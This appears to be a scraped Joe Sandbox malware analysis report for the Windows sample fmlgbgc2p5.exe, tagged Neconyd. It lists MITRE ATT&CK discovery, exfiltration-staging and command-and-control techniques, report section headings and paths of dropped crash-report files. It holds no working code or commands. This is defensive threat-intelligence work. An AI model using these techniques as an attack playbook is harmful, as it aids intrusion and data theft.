Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report fmlgbgc2p5.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Neconyd

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_fmlgbgc2p5.exe_8492373aeecbce8e182b4fd12204ea0c4c75534_ec40d01a_a5888e9c-e94a-484c-a91c-fb009698315d\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_omsecor.exe_3cccf68f558aebdae18074d03e529771c2cd8b9_db98bc25_591e6923-1f0b-41a3-886f-f1afa133b771\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_omsecor.exe_43b89a372cc43de2a7ad92b15f8c94dc4564c6c_6ad46281_f25293c8-0722-4786-92a3-f6d674ac44d6\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_omsecor.exe_9952b2275c3b2d9f13a9f763df5d566769d0f6d5_f592aad2_771e5020-42c0-4858-be71-6301429ff170\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_omsecor.exe_a6df591168a6a85c9a656b1ea23bbe9446cb4_b1bc9e8b_8663d629-c955-48f3-8fd0-8fcfbb38f7d4\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_omsecor.exe_ea34fb17614e843647b5ef236565be8b1b3a2f_53b5ecb7_6c9d9e65-97ae-4b7d-b519-d97359ec0174\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER148E.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER153A.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER158A.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER177C.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER17DA.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1849.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4D27.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4E8F.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4F3C.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4F4A.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5219.tmp.WERInternalMetadata.xml

Windows Analysis Report
fmlgbgc2p5.exe